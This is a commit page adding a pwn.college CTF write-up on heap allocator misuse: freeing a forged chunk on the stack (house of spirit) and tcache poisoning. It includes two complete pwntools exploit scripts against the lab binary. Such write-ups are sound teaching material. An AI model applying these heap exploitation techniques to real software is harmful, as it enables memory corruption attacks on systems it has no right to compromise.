Skip to content

Commit 0d4d98a

Browse files
committed
F3-DAMM
1 parent c40a1a1 commit 0d4d98a

File tree

1 file changed

+194
-0
lines changed

1 file changed

+194
-0
lines changed
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Misuse) level 13
4+
categories: pwn.college Dynamic-Allocator-Misuse
5+
date: 2025-10-09 08:00:27 +0300
6+
tags: pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Leverage calling free() on a stack pointer to read secret data.
14+
15+
## Write-up
16+
17+
**Goal:** manipulate heap metadata to perform an overwrite of a secret value stored on the stack, then trigger verification to get the flag.
18+
19+
---
20+
21+
### Step 1 — Setup: Fake prev_size & size metadata
22+
23+
From analysis of the binary’s heap operations, we can place crafted metadata inside a heap chunk.
24+
This includes:
25+
- `prev_size` field
26+
- `size` field
27+
28+
We overwrite them such that a `free()` call will cause the allocator to treat the chunk as a different size and location.
29+
30+
---
31+
32+
### Step 2 — Free the fake chunk
33+
34+
By freeing the crafted chunk placed on the stack, we control where the **next malloc** returns.
35+
We pick a large size so that malloc returns a pointer into the stack memory we control.
36+
37+
---
38+
39+
### Step 3 — Overwrite secret
40+
41+
When the vulnerable program uses malloc with our controlled size, it returns a pointer to the stack.
42+
We then overwrite the secret value with a controlled string (e.g., `"AAA..."`).
43+
44+
Example:
45+
```text
46+
malloc(fake_chunk_size)
47+
free(fake_chunk)
48+
malloc(big_size) # returns pointer to our target stack location
49+
write("AAA...")
50+
```
51+
52+
## Exploit
53+
```python
54+
from pwn import *
55+
56+
elf = context.binary = ELF("/challenge/stack-summoning-hard")
57+
global p
58+
p = elf.process()
59+
60+
def malloc(idx,size):
61+
p.sendline(b"malloc")
62+
p.sendline(idx)
63+
p.sendline(size)
64+
65+
def free(idx):
66+
p.sendline(b"free")
67+
p.sendline(idx)
68+
69+
def puts(idx):
70+
p.sendline(b"puts")
71+
p.sendline(idx)
72+
73+
def scanf(idx,data):
74+
p.sendline(b"scanf")
75+
p.sendline(idx)
76+
p.sendline(data)
77+
78+
def stack_free():
79+
p.sendline(b"stack_free")
80+
81+
def stack_scanf(data):
82+
p.sendline(b"stack_scanf")
83+
p.sendline(data)
84+
85+
def send_flag(secret):
86+
p.sendline(b"send_flag")
87+
p.sendline(secret)
88+
89+
def exploit():
90+
data = b"A"*0x30 + p64(0) + p64(0x200)
91+
stack_scanf(data)
92+
93+
stack_free()
94+
95+
malloc(b"0",b"500")
96+
97+
data = b"A"*300
98+
scanf(b"0",data)
99+
100+
send_flag(b"A"*16)
101+
102+
p.interactive()
103+
104+
def main():
105+
exploit()
106+
107+
if __name__ == "__main__":
108+
main()
109+
```
110+
111+
other approche
112+
```python
113+
from pwn import *
114+
115+
elf = context.binary = ELF("/challenge/stack-summoning-hard")
116+
context.log_level = "debug"
117+
global p
118+
p = elf.process()
119+
120+
def malloc(idx,size):
121+
p.sendline(b"malloc")
122+
p.sendline(idx)
123+
p.sendline(size)
124+
125+
def free(idx):
126+
p.sendline(b"free")
127+
p.sendline(idx)
128+
129+
def puts(idx):
130+
p.sendline(b"puts")
131+
p.sendline(idx)
132+
133+
def scanf(idx,data):
134+
p.sendline(b"scanf")
135+
p.sendline(idx)
136+
p.sendline(data)
137+
138+
def stack_free():
139+
p.sendline(b"stack_free")
140+
141+
def stack_scanf(data):
142+
p.sendline(b"stack_scanf")
143+
p.sendline(data)
144+
145+
def send_flag(secret):
146+
p.sendline(b"send_flag")
147+
p.sendline(secret)
148+
149+
def send_flag():
150+
p.sendline(b"send_flag")
151+
p.sendline(b"egrmayqpteprmrxc")
152+
153+
def exploit():
154+
malloc(b"0",b"32")
155+
156+
data = b"A"*0x30 + p64(0) + p64(0x30)
157+
stack_scanf(data)
158+
159+
stack_free()
160+
free(b"0")
161+
162+
puts(b"0")
163+
164+
p.recvuntil(b"Data: ")
165+
stack = u64(p.recvline().strip().ljust(8,b"\x00")) + 0xf5 - 0x40 + 8 # first part -8
166+
log.success(f"stack: {hex(stack)}")
167+
168+
malloc(b"0",b"32")
169+
malloc(b"1",b"32")
170+
171+
free(b"1")
172+
free(b"0")
173+
174+
scanf(b"0",p64(stack))
175+
176+
malloc(b"0",b"32")
177+
malloc(b"0",b"32")
178+
179+
puts(b"0")
180+
181+
p.recvuntil(b"Data: ")
182+
secret2 = p.recvline()
183+
log.success(f"secret part 2:{secret2}")
184+
185+
send_flag()
186+
187+
p.interactive()
188+
189+
def main():
190+
exploit()
191+
192+
if __name__ == "__main__":
193+
main()
194+
```

0 commit comments

Comments
 (0)